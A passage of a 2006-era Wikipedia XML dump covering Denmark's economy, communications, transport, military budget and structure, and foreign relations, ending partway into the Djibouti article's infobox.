Denmark is self-sufficient in energy - producing oil, natural gas and wind-energy. Its principal exports are machinery, instruments and food products. The U.S. is Denmark's largest non-European trading partner, accounting for about 5% of total Danish merchandise trade. Aircraft, computers, machinery, and instruments are among the major U.S. exports to Denmark. There are some 250 U.S.-owned companies in Denmark. Among major Danish exports to the U.S. are industrial machinery, chemical products, furniture, pharmaceuticals, and canned ham and pork.

From 1982, a center-right government corrected accumulated economic pressures, mainly [[inflation]] and balance-of-payments deficits, but lost power in 1993 to a [[Social democracy|Social Democratic]] coalition government led by [[Poul Nyrup Rasmussen]], who remained in office following the March [[1998]] election. The government of Poul Nyrup Rasmussen had success in cutting official unemployment, which peaked at 12.5% and is now below 5.5 %. Average annual growth rates are now 2-3%. In [[November]] [[2001]], a center-right government led by [[Anders Fogh Rasmussen]] won the election on maintaining the current [[tax]] level, and improving the overall administrational efficiency. 

For the last two years (2004,2005) the danish economy has been surprisingly strong - surplus on the national budget is expected to be 39 billions DKK for 2006.
The government of Denmark is using most of this surplus to reduce the national debt (total net national debt (internal+external) was 417.8 billions DKK at the end of 2005 ).

Danes are proud of their highly developed welfare safety net, which ensures that all Danes receive free health care and need not fear real poverty. Over the last 20 years, however, the number of Danes living on transfer payments has grown to about 1 million working-age persons (roughly 20% of the population), and the system is beginning to show strains. Health care and care for the elderly particularly have suffered, and the need for welfare reform is increasingly discussed. More than one-quarter of the labor force is employed in the public sector. Thus 61% of the adult population in Denmark is either living of transfer payments or employed by the government (2005). The large public sector is financed through high taxes. A [[Value added tax]] of 25% is levied on the sale of most goods and services (including groceries). The income tax in Denmark ranges from 9%-44% for ultra-low to low-income families to 44%-62% progressively for middle class families. 850,000 Danes (31% of everyone employed and 44% of all full-time employees) pay a marginal income tax of 62%. The number of Danes paying a marginal income tax of 62% in 2006 is expected to be 925,000.

==Greenland and the Faroe Islands==
:''Main articles: [[Economy of the Faroe Islands]]  and [[Economy of Greenland]]
Greenland suffered negative economic growth in the early 1990s, but since 1993 the economy has improved. A tight fiscal policy by the Greenland Home Rule Government since the late 1980s helped create a low inflation rate and surpluses in the public budget, but at the cost of rising foreign debts of the Home Rule Government's commercial entities. Since 1990, Greenland has registered a foreign trade deficit.

Following the closure of Greenland's last lead and zinc mine in 1989, Greenland's economy is solely dependent on the fishing industry and Danish grants. Despite resumption of several interesting hydrocarbon and [[mineral]] exploration activities, it will take several years before production may materialize. Greenland's shrimp fishery is by far the largest income earner, since cod catches have dropped to historically low levels. Tourism is the only sector offering any near-term potential, and even this is limited due to the short season and high costs. The public sector plays a dominant role in Greenland's economy. Grants from mainland Denmark and EU fisheries payments make up about one-half of the home-rule government's revenues.

The Faroe Islands also depend almost entirely on fisheries and related exports. Without Danish Government bailouts in 1992 and 1993, the Faroese economy would have gone bankrupt. Since 1995, the Faroese economy has seen a noticeable upturn, but remains extremely vulnerable. Recent off-shore oil finds close to the Faroese area give hope for Faroese deposits, too, which may lay the basis for an economic rebound over the longer term.

==Economy - overview==
This thoroughly modern market economy features high-tech [[agriculture]], up-to-date small-scale and corporate industry, extensive government [[social welfare|welfare]] measures, comfortable living standards, and high dependence on [[foreign trade]]. [[Denmark]] is a net exporter of food. The center-left coalition government is concentrating on reducing the unemployment rate and turning the budget deficit into a surplus, as well as following the previous government's policies of maintaining low inflation and a current account surplus. The coalition also vows to maintain a stable currency. The coalition has lowered marginal income tax rates while maintaining overall tax revenues; boosted industrial competitiveness through labor market and tax reforms; increased research and development funds; and improved welfare services for the neediest while cutting paperwork and delays. Denmark chose not to join the 11 other [[European Union]] members who launched the [[euro]] on [[1 January]] [[1999]].

==National accounts==
'''GDP:'''

Table showing selected PPP GDPs and growth - 2002 to 2006 est.:

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|-----
! style=&quot;background:#efefef;&quot; | Year
! style=&quot;background:#efefef;&quot; | GDP &lt;br /&gt; &lt;small&gt;in billions of USD PPP &lt;br /&gt; &lt;/small&gt;
! style=&quot;background:#efefef;&quot; | % GDP Growth
|- align=&quot;right&quot;
! align=&quot;left&quot;|2002
| 166.876 || 0.5
|- align=&quot;right&quot;
! align=&quot;left&quot;|2003
| 170.798 || 0.7 
|- align=&quot;right&quot;
! align=&quot;left&quot;|2004
| 178.477 || 2.4 
|- align=&quot;right&quot;
! align=&quot;left&quot;|2005
| 187.721 || 2.2
|- align=&quot;right&quot;
! align=&quot;left&quot;|2006
| 195.581 || 2.1 
|- align=&quot;right&quot;
|}
purchasing power parity - $178.477 billion (2004 est.)

'''GDP - real growth rate:''' 2.4% (2003 est.)

'''GDP - per capita:'''
purchasing power parity - $30,600 (2004 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
2%
&lt;br&gt;''industry:''
22.1%
&lt;br&gt;''services:''
75.9% (2003 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
2%
&lt;br&gt;''highest 10%:''
24% (2000 est.)

'''Inflation rate (consumer prices):'''
2.1% (2003 est.)

'''Labor force:'''
2.863 million (2003 est.)

'''Labor force - by occupation:'''
services 79%, industry 17%, agriculture 4% (2002 est.)

'''Unemployment rate:'''
6.1% (2003)

'''Budget:'''
&lt;br&gt;''revenues:''
$118.5 billion
&lt;br&gt;''expenditures:''
$116 billion, including capital expenditures of $500 million (2003 est.)

'''Industries:'''
[[food]] processing, machinery and equipment, [[textile]]s and [[clothing]], [[chemical]] production, [[electronics]], construction, [[furniture]], and other [[wood]] products, [[shipbuilding]], [[windmills]]

'''Industrial production growth rate:'''
0.3% (2003 est.)

'''Electricity - production:'''
35,470 GWh (2001)

'''Electricity - production by source:'''
*fossil fuel: 82.7%
*hydro: 0.1%
*other: 17.3% (2001)
*nuclear: 0%

'''Electricity - consumption:'''
32,410 GWh (2001)

'''Electricity - exports:'''
8,775 GWh (2001)

'''Electricity - imports:'''
8,199 GWh (2001)

'''Agriculture - products:'''
[[cereal|grain]], [[potato]]es, [[rapeseed]], [[sugar beet]]s; [[beef]], [[dairy products]]; [[fish]]

'''Exports:'''
$49.5 billion (f.o.b., 1999)

'''Exports - commodities:'''
machinery and instruments, [[meat]] and meat products, [[fuels]], [[dairy products]], [[ship]]s, [[fish]], [[chemical]]s, [[windmills]]

'''Exports - partners:'''
[[Germany]] 18.7%, [[Sweden]] 12.6%, [[UK]] 8.5%, [[United States]] 6.2%, [[Norway]] 5.7%, [[France]] 5.1%, [[Netherlands]] 4.7% (2003)

'''Imports:'''
$54.47 billion f.o.b. (2003 est.)

'''Imports - commodities:'''
machinery and equipment, [[petroleum]], [[chemical]]s, [[cereal|grain]] and [[food]]stuffs, [[textile]]s, [[paper]]

'''Imports - partners:'''
Germany 23.1%, Sweden 13%, UK 7%, Netherlands 6.9%, France 4.9%, Norway 4.5%, [[Italy]] 4.1% (2003)

'''Debt - external:'''
$14.7 billion (2005), $21.7 billion (2000)

'''Economic aid - donor:'''
ODA, $1.63 billion (1999)

'''Currency:'''
1 Danish krone (DKK) = 100 øre

'''Exchange rates:'''
Danish kroner per US dollar - 6.18 (2006), 6.5877 (2003), 7.8947 (2002), 8.3228 (2001), 8.0831 (2000), 6.9762 (1999)

'''Fiscal year:'''
calendar year

'''Seaports:''' [[Aalborg]], [[Aarhus]] ....

==See also==
*[[Danish mortgage market]]
*[[List of Danish companies]]

== External links ==
*[http://www.oecd.org/denmark/ OECD's Denmark country Web site] and [http://www.oecd.org/eco/surveys/denmark/ OECD Economic Survey of Denmark]

===Europe===
*[[Economy of Europe]]

{{EU countries}}
{{OECD}}
{{WTO}}

[[Category:Economies by country|Denmark]]
[[Category:Economy of Denmark| ]]
[[Category:European Union member economies]]

[[da:Danmarks økonomi]]
[[es:Economía de Dinamarca]]
[[he:כלכלת דנמרק]]
[[pt:Economia da Dinamarca]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Denmark</title>
    <id>8036</id>
    <revision>
      <id>33810163</id>
      <timestamp>2006-01-04T05:32:39Z</timestamp>
      <contributor>
        <username>Gimboid13</username>
        <id>185410</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted disambiguation from [[Telegraph]] to [[Telegraphy]]</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
3.488 million (2004)

'''Telephones - mobile cellular:'''
5.118 million (2004)

'''Telephone system:'''
excellent [[telephone]] and [[Telegraphy|telegraph]] services
&lt;br&gt;''domestic:''
buried and submarine cables and [[microwave radio]] relay form trunk network, 4 cellular radio communications systems
&lt;br&gt;''international:''
18 submarine fiber-optic cables linking [[Denmark]] with [[Norway]], [[Sweden]], [[Russia]], [[Poland]], [[Germany]], the [[Netherlands]], [[United Kingdom]], [[Faroe Islands]], [[Iceland]], and [[Canada]]; [[satellite]] earth stations - 6 [[Intelsat]], 10 [[Eutelsat]], 1 [[Orion (satellite)|Orion]], 1 [[Inmarsat]] (Blaavand-Atlantic-East); note - the [[Nordic countries]] ([[Denmark]], [[Finland]], [[Iceland]], [[Norway]], and [[Sweden]]) share the Danish earth station and the [[Eik]], Norway, station for world-wide [[Inmarsat]] access

'''[[Radio]] broadcast stations:'''
AM 2, FM 355, shortwave 0, DAB 1 (with 17 channels) (2005)

'''Radios:'''
6.02 million (1997)

'''[[Television]] broadcast stations:'''
42 (plus 44 repeaters) (September 1995)

'''Televisions:'''
3.121 million (1997)

'''[[Internet]] Service Providers (ISPs):'''
12 (1999)

'''Internet Users:'''  Dial up: 1.682.781 (2004)  XDSL: 638.121 (2004)  Cable modem: 345.618  (2004)

'''[[Country codes]]/[[ccTLD]]:''' [[.dk]]

[[Category:Communications by country|Denmark]]
[[Category:Communications in Denmark| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Denmark</title>
    <id>8037</id>
    <revision>
      <id>40362424</id>
      <timestamp>2006-02-20T01:42:22Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">== Railways ==
&lt;br&gt;''total:''
2,859 km (508 km privately owned and operated)
&lt;br&gt;''standard gauge:''
2,859 km 1.435-m gauge (600 km electrified at 25kV AC; 760 km double track) (1998)

== Railway links with adjacent countries ==

* [[Transportation in Sweden|Sweden]] - yes - same gauge - voltage change [[25kVAC]]/[[15kVAC]].
* [[Transportation in Germany|Germany]] - yes - same gauge - voltage change [[25kVAC]]/[[15kVAC]].

The [[Oresund Bridge]] provides a rail connection with [[Malmö]], [[Sweden]].

There is a railway connection from [[Hamburg]] to [[Copenhagen]] through:
*the old [[Little Belt Bridge]] - [[1935]]
*the [[Great Belt Bridge|Great Belt rail link]] with the Western Bridge and the Eastern Tunnel - [[1997]].



A [[train ferry]] opened about [[1960]] from [[Rodby]], Denmark to [[Puttgarden]], Germany provides a short cut from the Danish capital to Germany.

=== Metros ===

*[[Copenhagen Metro]]: an automated driverless [[metro]] system with 26 trains, 17 stations and 16.8 km of track, operated by [[Serco]].

== Cycle tracks ==

Denmark, and especially [[Odense]] and [[Copenhagen]], are notable for its extensive system for bicycle transportation. Nearly one-fifth of all trips in Copenhagen are by bicycle, and for home-to-work commutes, nearly one third of all trips are by bicycle.
Odense has been appointed the &quot;bicycle-city of the year&quot; because of the vast amount of bicycle-tracks in the town. A complete network of 350 km all-weather serviced tracks are laid out in the town - this is as much as some states in [[Germany]].

*Cycle tracks: Danish cycle tracks comprise of a whole network of road area exclusively designated for bicycle traffic. Generally these cycle tracks run one-way on either side of the road, as a separate lane system between the center of the road, driven on by motor vehicles, and the sidewalk. Where there is parallel parking, the cycle tracks are generally found outside the row of cars, between the parked cars and the sidewalk. Cycle tracks are usually wide enough for two bicycles to ride side-by-side (2.2m), particularly in urban areas. This allows for passing on the lefthand side and a greater space buffer between cyclists and motor vehicles. In Copenhagen's 2002-2012 Cycle Policy, the city described plans to widen some of the lanes to fit 3 bikes across (3.5m) in particularly congested areas. On the main-roads, the roads are usually separated into two or three lanes, each with its own [[traffic lights]] and directional arrows, so as to assist bikers in getting faster from one point to another during rush-hours.

== Highways ==
&lt;br&gt;''total:''
71,437 km
&lt;br&gt;''paved:''
71,437 km (including 843 km of expressways)
&lt;br&gt;''unpaved:''
0 km (1998 est.)

== Waterways ==
417 km

== Pipelines ==
[[crude oil]] 110 km; [[petroleum]] products 578 km; [[natural gas]] 700 km

== Ports and harbours ==
=== [[North Sea]] ===
* [[Aalborg]]
* [[Esbjerg]]

=== [[Baltic Sea]] ===
* [[Copenhagen]] 
* [[Aarhus]]
* [[Fredericia]]
----

[[Grenå]], [[Køge]], [[Odense]], [[Struer]]

== Merchant marine ==
&lt;br&gt;''total:''
336 ships (1,000 GRT or over) totaling 5,190,227 GRT/6,815,128 DWT
&lt;br&gt;''ships by type:''
bulk 12, cargo 132, chemical tanker 22, container 70, liquified gas 26, livestock carrier 6, petroleum tanker 24, rail car carrier 1, refrigerated cargo 13, roll-on/roll-off 19, short-sea passenger 8, specialized tanker 3 (1999 est.)
&lt;br&gt;''note:''
Denmark has created its own internal register, called the Danish International Ship register (DIS); DIS ships do not have to meet Danish manning regulations, and they amount to a flag of convenience within the Danish register (1998 est.)

== Airports ==
118 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
28
&lt;br&gt;''over 3,047 m:''
2
&lt;br&gt;''2,438 to 3,047 m:''
7
&lt;br&gt;''1,524 to 2,437 m:''
3
&lt;br&gt;''914 to 1,523 m:''
13
&lt;br&gt;''under 914 m:''
3 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
90
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
7
&lt;br&gt;''under 914 m:''
82 (1999 est.)

=== List of airports ===
* [[Aalborg Airport]] (http://www.world-airport-codes.com/denmark/aalborg-1.html)
* [[Aarhus Airport]]
* [[Billund Airport]]
* [[Copenhagen Airport]]
* [[Karup Airport]]
* [[Odense Airport]]
* [[Roskilde Airport]]
* [[Sønderborg Airport]]

== See also ==

* [[Denmark]]
* [[Road traffic in Denmark]]

==External links==
*[http://www.rejseplanen.dk/bin/query.exe/en? Public transportation Route Planner]
*[http://www.krak.dk/ Online Map, Address lookup]
*[http://www.cph.dk/CPH/UK/ Copenhagen Airports]
*[http://dk.trackmap.net/bigmap All railway tracks]
*[http://www.vejpark.kk.dk/byenstrafik/cyklernesby/uk/index.htm City of Copenhagen: City of Cyclists]

[[Category:Transport in Denmark| ]]
[[it:Trasporti in Danimarca]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Denmark</title>
    <id>8038</id>
    <revision>
      <id>39491058</id>
      <timestamp>2006-02-13T22:02:37Z</timestamp>
      <contributor>
        <username>Burto88</username>
        <id>928336</id>
      </contributor>
      <comment>/* Expenditures */</comment>
      <text xml:space="preserve">{| colspan=&quot;4&quot; width=270 style=&quot;border: 1px solid #6688AA; background-color:#f0f6fa; margin:0.5em; padding:0.5em; float:right&quot; valign=&quot;top&quot; | 
|- 
| bgcolor=&quot;#FE4040&quot; align=&quot;center&quot; colspan=&quot;2&quot; | &lt;big&gt;'''Det Danske Forsvar'''&lt;/big&gt;
|-
| bgcolor=#FFFFFF align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:Danske Forsvars logo.png|150px|]]&lt;br&gt; The joint badge:&lt;br&gt;[[Royal Danish Army|Royal Army]], [[Royal Danish Navy|Royal Navy]], [[Danish Air Force|Royal Air Force]].
|- 
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Military manpower'''
|- 
| Availability &lt;br&gt;(males age 15-49)
| 1,276,087 (2004 est.)
|- 
| Fit for military service &lt;br&gt;(males age 15-49)
| 1,088,751 (2004 est.)
|- 
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Military expenditures'''
|- 
| [[Danish krone|Kroner]] figure (FY04)
| [[DKK]]:19,8 billion
|- 
| Percent of [[Gross domestic product|GDP]]
| 1.4% (2004)
|- 
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Military structure (peace)'''
|- 
| Army 
| 15,450
|- 
| Navy
| 5,300
|-
| Air Force
| 6,050
|-
| Home Guard&lt;sup&gt;1&lt;/sup&gt;
| 55,000+
|-
| style=&quot;border: 1px solid #1188AA; background-color:#c0ccfa&quot; align=&quot;center&quot; colspan=&quot;2&quot; | '''Military structure (wartime)'''
|- 
| Army 
| 45,000+
|- 
| Navy
| 7,300
|-
| Air Force
| 9,500
|-
| Home Guard&lt;sup&gt;1&lt;/sup&gt;
| 55,000+
|-
|}

The [[armed forces]] of the [[Kingdom of Denmark]], known as '''The Danish Defence''' ([[Danish language|Danish]]: ''Det Danske Forsvar'') is charged with the defense of the [[Kingdom of Denmark]].

The [[Chief of Defence (Denmark)|Chief of Defence]] is the head of the Danish Armed Forces, and is head of the [[Defence Command (Denmark)|Defence Command]] which is managed by the [[Ministry of Defence (Denmark)|Ministry of Defence]]. Constitutionally, the [[Commander-in-Chief]] is the head of state ([[Margrethe II of Denmark|Queen Margrethe II]]); practically, it is the Cabinet. 

Denmark also has a concept of [[Total defence (Denmark)|Total Defence]].

== Purpose and task ==
The purpose and task of the armed forces of Denmark is defined in Law no. 122 of [[February 27]], [[2001]] and in force since March 1, 2001. It defines 3 purposes and 6 tasks.

Its primary purpose is to prevent conflicts and war, preserve the [[sovereignty]] of Denmark, secure the continuing existence and integrity of the independent Kingdom of Denmark and further a peaceful development in the world with respect to human rights.

Its primary tasks are; [[NATO]] participate in accordance with the strategy of the alliance, detect and repel any sovereignty violation of Danish territory (including [[Greenland]] and the [[Faroe Islands]]), defence cooperation with non-NATO members, especially central- and East European countries, international missions in the area of conflict prevention, crises-control, humanitarian, peacemaking, peacekeeping, participate in ''Total Defence'' in cooperation with civilian resources and finally maintain a sizable force to execute these tasks at all times.

==Defense budget==
Since [[1988]], Danish defense budgets and security policy have been set by multi-year agreements supported by a wide parliamentary majority including government and opposition parties. However, public opposition to increases in defense spending &amp;ndash; during a period when economic constraints require reduced spending for social welfare &amp;ndash; has created differences among the political parties regarding a broadly acceptable level of new defense expenditure.

The latest Defence agreement (&quot;[[Danish Defence agreement 2005-2009|Defence agreement 2005-2009]]&quot;) was signed [[June 10]], [[2004]], and calls for a significant re-construction of the entire military. From now  about 60% support structure and 40% combat operational capability, it is to be 40% support structure and 60% combat operational capability. E.g. more combat soldiers and less 'paper'-soldiers.
The reaction speed is increased, with an entire [[brigade]] on standby readiness; the military retains the capability to continually deploy 2.000 soldiers in international service or 5.000 over a short time span. The standard mandatory [[conscription]] is modified. Generally this means lesser conscripts, lesser service time for them and only those who choose to will continue into the reaction force system.

===Expenditures===
The Danish military economy is the fifth largest single economy in the Danish Government (the 2005 [[Danish finance law|Finance law]]), significantly less than that of the [[Ministry of Social Affairs of Denmark|Ministry of Social Affairs]] (~100 billion [[DKK]]), [[Ministry of Employment of Denmark|Ministry of Employment]] (~90 billion DKK), [[Ministry of the Interior and Health of Denmark|Ministry of the Interior and Health]] (~50 billion DKK) and [[Ministry of Education of Denmark|Ministry of Education]] (~30 billion DKK) and only slightly larger than that of the [[Ministry of Science, Technology and Innovation of Denmark|Ministry of Science, Technology and Innovation]] (~13 billion DKK). This list lists the complete expenditures for the Danish [[Ministry of Defence of Denmark|Ministry of Defence]].

The Danish defence, counting all branches and all departments, itself has an income equal to about 1-5% of its expenditures, depending on the year. They are not deducted in this listing.

Approximately 95% of the budget goes directly to running the Danish military including the Home guard. Depending on year, 50-53% accounts for payment to personnel, roughly 14-21% on acquiring new material, 2-8% for larger ships, building projects or infrastructure and about 24-27% for others, under here purchasing of goods, renting, maintenance, services and taxes. 

The remaining 5% is special expenditures to NATO, branch shared expenditures, special services and civil structures, here in including running the [[Farvandsvæsen]], [[Danish national rescue preparedness]] and the [[Militærnægteradministrationen]].


{| class=&quot;wikitable&quot;
!width = &quot;50&quot;|Year
!width = &quot;150&quot;|Percentage of [[Measures_of_national_income_and_output#Gross_National_Product|GNP]]
!width = &quot;180&quot;|Complete expenditures&lt;br&gt;([[Ministry of Defence]])&lt;br&gt;&lt;small&gt;in millions of [[Danish krone|DKK]]&lt;/small&gt;
!width = &quot;50&quot;|Year
!width = &quot;150&quot;|Percentage of [[Measures_of_national_income_and_output#Gross_National_Product|GNP]]
!width = &quot;180&quot;|Complete expenditures&lt;br&gt;([[Ministry of Defence]])&lt;br&gt;&lt;small&gt;in millions of [[Danish krone|DKK]]&lt;/small&gt;
|- valign=top
| 1970 || ? || ? || 1990 || ? || ?
|-
| 1971 || ? || ? || 1991 || ? || ?
|-
| 1972 || ? || ? || 1992 || ? || ?
|-
| 1973 || ? || ? || 1993 || ? || ?
|-
| 1974 || ? || ? || 1994 || ? || ?
|-
| 1975 || ? || ? || 1995 || ? || ?
|-
| 1976 || 2,2% || 5.910 || 1996 || 1.7% || 17.012,6
|-
| 1977 || 2,3% || 6.390 || 1997 || 1,7% || 17.615,1
|-
| 1978 || 2,3% || 7.082 || 1998 || 1,6% || 18.221,4
|-
| 1979 || 2,2% || 7.525 || 1999 || 1.4% || 17.384,9
|-
| 1980 || 2,6% || 9.545 || 2000 || 1,4% || 17.496,5
|-
| 1981 || 2,6% || 10.612 || 2001 || 1,4% || 18.310,4
|-
| 1982 || 2,5% || 11.836 || 2002 || 1,4% || 18.665,9
|-
| 1983 || 2,5% || 12.783 || 2003 || 1.4% || 18.857,9
|-
| 1984 || 2,3% || 13.163 || 2004 || 1,4% || 19.841,3
|-
| 1985 || 2,2% || 13.355 || 2005 || 1,3% (expected) || 19.156,9 (expected)
|-
| 1986 || 2,0% || 13.142 || 2006 || na || 20.372,7 (expected)
|-
| 1987 || 2,1% || 14.443 || 2007 || na || 19.723,4 (expected)
|-
| 1988 || 2,2% || 15.800 || 2008 || na || 19.613,1 (expected)
|-
| 1989 || 2,1% || 15.767 || 2009 || na || 19.086,1 (expected)
|}

Source
* [[Danish Agency for Governmental Management]] (&quot;''Økonomi-styrelsen''&quot;) [http://www.oes.dk/ ] (Finance law 1996 to 2006) [http://www.oes-cs.dk/bevillingslove/ ]
* [[Danmarks Statistik]] (1976-1989)

== Branches ==
* [[Royal Danish Army|Danish Royal Army]]
* [[Royal Danish Navy|Danish Royal Navy]]
* [[Danish Air Force|Danish Royal Air Force]]
* [[Danish Home Guard|Danish Home Guard]]&lt;sup&gt;1&lt;/sup&gt;

&lt;sup&gt;1&lt;/sup&gt;&lt;small&gt;The Danish Home Guard is not under the ''Defence Command'' during peacetime, but directly under the ''Ministry of Defence'', only in times of tension and war will the ''Defence Command'' assume command over the Home Guard.&lt;/small&gt;

== Structure ==
* [[Ministry of Defence (Denmark)|Ministry of Defence]] ('''FMN''')
** [[Defence Command (Denmark)|Defence Command]] ('''FKO''')
*** [[Army Operational Command (Denmark)|Army Operational Command]] ('''HOK''')
*** [[Navy Operational Command (Denmark)|Navy Operational Command]] ('''SOK''')
*** [[Tactical Air Command (Denmark)|Tactical Air Command]] ('''FTK''')
*** [[Defence Materiel Service (Denmark)|Defence Materiel Service]] ('''FMT''') (''under implantation'')
*** [[Army Materiel Command (Denmark)|Army Materiel Command]] ('''HMAK''') (''to be disbanded'')
*** [[Navy Materiel Command (Denmark)|Navy Materiel Command]] ('''SMK''') (''to be disbanded'')
*** [[Air Materiel Command (Denmark)|Air Materiel Command]] ('''FMK''') (''to be disbanded'')
*** [[Greenland Command (Denmark)|Greenland Command]] ('''GLK''')
*** [[Faroe Islands Command (Denmark)|Faroe Islands Command]] ('''FRK''')
*** [[Royal Danish Defence College|Royal Danish Defence College]] ('''FAK''')
*** [[Defence Health Service (Denmark)|Defence Health Service]] ('''FSU''')
** [[Home Guard Command (Denmark)|Home Guard Command]] ('''HJK''')
** [[Defence Intelligence (Denmark)|Defence Intelligence]] ('''FE''')
** [[Defence Judge Advocate Corps (Denmark)|Defence Judge Advocate Corps]] ('''FAUK''')
** [[Defence Information &amp; Welfare Service (Denmark)|Defence Information &amp; Welfare Service]] ('''FOV''')
** [[Defence Construction Service (Denmark)|Defence Construction Service]] ('''FBT''')
** [[Defence Internal Revision (Denmark)|Defence Internal Revision]]

== See also ==
* [[Military of Greenland]]
* [[NATO]]
* [[Scandinavian defense union]]

== External links ==
* [http://forsvaret.dk/fko/ The Danish Defence]
* [http://forsvaret.dk/hok/ Army Operative Command]
* [http://forsvaret.dk/hmak/ Army Materiel Command]
* [http://www.kamouflage.net/camouflage/00131/en_index.php kamouflage.net &amp;gt; Europe &amp;gt; Denmark (Kingdom of Denmark) &amp;gt; index]


{{NATO}}
[[Category:Military of Denmark| ]]

[[da:Danmarks militær]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Denmark</title>
    <id>8039</id>
    <revision>
      <id>40397032</id>
      <timestamp>2006-02-20T06:55:42Z</timestamp>
      <contributor>
        <username>A2Kafir</username>
        <id>114074</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Danish foreign policy''' is founded upon four cornerstones: the [[United Nations]], [[NATO]], the [[EU]], and [[Nordic countries|Nordic]] cooperation. Denmark also is a member of the [[World Bank]] and the [[International Monetary Fund]]; the [[World Trade Organization]] (WTO); the [[Organisation for Security and Co-operation in Europe]] (OSCE); the [[Organization for Economic Co-operation and Development]] (OECD); the [[Council of Europe]]; the [[Nordic Council]]; the [[Baltic Council]]; and the [[Barents Council]]. Denmark emphasizes its relations with developing nations and is one of the few countries to exceed the UN goal of contributing 1% of GNP to development assistance.

In the wake of the [[Cold War]], Denmark has been active in international efforts to integrate the countries of Central and Eastern Europe into the West. It has played a leadership role in coordinating Western assistance to the Baltic states ([[Estonia]], [[Latvia]], and [[Lithuania]]). The country is a strong supporter of international peacekeeping. Danish forces were heavily engaged in the former Yugoslavia in the UN Protection Force ([[UNPROFOR]]), with [[IFOR]], and now [[SFOR]].

Following [[World War II]], Denmark ended its two-hundred year long policy of neutrality. Denmark has been a member of NATO since its founding in 1949, and membership in NATO remains highly popular. There were several serious confrontations between the U.S. and Denmark on security policy in the so-called &quot;footnote era&quot; (1982-88), when a hostile parliamentary majority forced the government to adopt specific national positions on nuclear and arms control issues. With the end of the Cold War, however, Denmark has been supportive of U.S. policy objectives in the Alliance. Denmark is not a member of the [[Western European Union]] but does hold observer status.

Danes have enjoyed a reputation as &quot;reluctant&quot; Europeans. When they rejected ratification of the [[Maastricht Treaty]] on June 2, 1992, they put the EC's plans for the European Union on hold. In December 1992, the rest of the EC agreed to exempt Denmark from certain aspects of the European Union, including a common defense, a common currency, EU citizenship, and certain aspects of legal cooperation. The [[Amsterdam Treaty]] was approved in the referendum of May 28, 1998. In the autumn of 2000, Danish citizens rejected membership of the [[Euro]] currency group in a referendum.

== Disputes - international: ==
*''[[Rockall]]''. A continental shelf dispute involving [[Iceland]], [[Republic of Ireland|Ireland]], and the [[United Kingdom|UK]] (Ireland and the UK have signed a boundary agreement in the Rockall area)

*''[[Hans Island]]''. An island located between [[Greenland]] and Canadian Arctic islands.  Unresolved boundary disputed between [[Canada]] and Denmark (Denmark controls Greenland's foreign relations). This dispute flared up again in July 2005 following the visit of a Canadian minister to the disputed island. 

*''[[North Pole]]''. Denmark is trying to prove that the [[North Pole]] is geographically connected to Greenland. If such proof is established, Denmark will claim the North Pole.

*''Maritime border with Poland''. [[Denmark]] and [[Poland]] have still not agreed on the location of the maritime border between the two countries. Denmark supports a border half-way between the two countries; Poland wants to be awarded an even greater share of the Baltic Sea, since Poland has a much longer coast-line than the Danish island of [[Bornholm]].

== See also ==
*[[Denmark]]
*[[Scandinavian defense union]]

== External link ==
*[http://www.um.dk/en Ministry of Foreign Affairs, Denmark]

[[category:Foreign relations of Denmark| ]]
[[Category:Foreign relations by country|Denmark, Foreign affairs of]]

[[da:Danmarks udenrigsforhold]]</text>
    </revision>
  </page>
  <page>
    <title>Djibouti</title>
    <id>8040</id>
    <revision>
      <id>42140247</id>
      <timestamp>2006-03-04T02:11:45Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>Reformat of infobox to the Template:Infobox country std</comment>
      <text xml:space="preserve">{{otheruses}} :''For the capital of Djibouti, see [[Djibouti city]].
{{Infobox_Country
|native_name = &lt;big&gt;&lt;big&gt;'''&amp;#1580;&amp;#1605;&amp;#1607;&amp;#1608;&amp;#1585;&amp;#1610;&amp;#1577; &amp;#1580;&amp;#1610;&amp;#1576;&amp;#1608;&amp;#1578;&amp;#1610;&lt;br&gt;Jumhuriyaa Jibuti&lt;BR&gt;République de Djibouti'''&lt;/big&gt;&lt;/big&gt;
|common_name = Djibouti
|image_flag = Flag of Djibouti.svg
|image_coat = Djibouti coa.png
|image_map = LocationDjibouti.png
|national_motto = n/a
|national_anthem = [[National anthem of Djibouti|Flag song]]
|official_languages = [[Arabic language|Arabic]], [[French language|French]]
|capital = [[Djibouti, Djibouti|Djibouti]]
|latd=11 |latm=36 |latNS=N |longd=43 |longm=10 |longEW=E
|largest_city = [[Djibouti, Djibouti|Djibouti]]
|government_type = 
|leader_titles = [[President of Djibouti|President]]&lt;br&gt;[[Prime Minister of Djibouti|Prime Minister]]
|leader_names = [[Ismail Omar Guelleh]]&lt;br&gt;[[Dileita Mohamed Dileita]]
|area_rank = 147th
|area_magnitude = 1 E10
|area= 23,000
|areami²= 8,878 &lt;!-- Do not remove per [[WP:MOSNUM]]--&gt;
|percent_water = 0.09% (20 km² / 7.7&amp;nbsp;mi²)
|population_estimate = 476,703
|population_estimate_rank = 161st
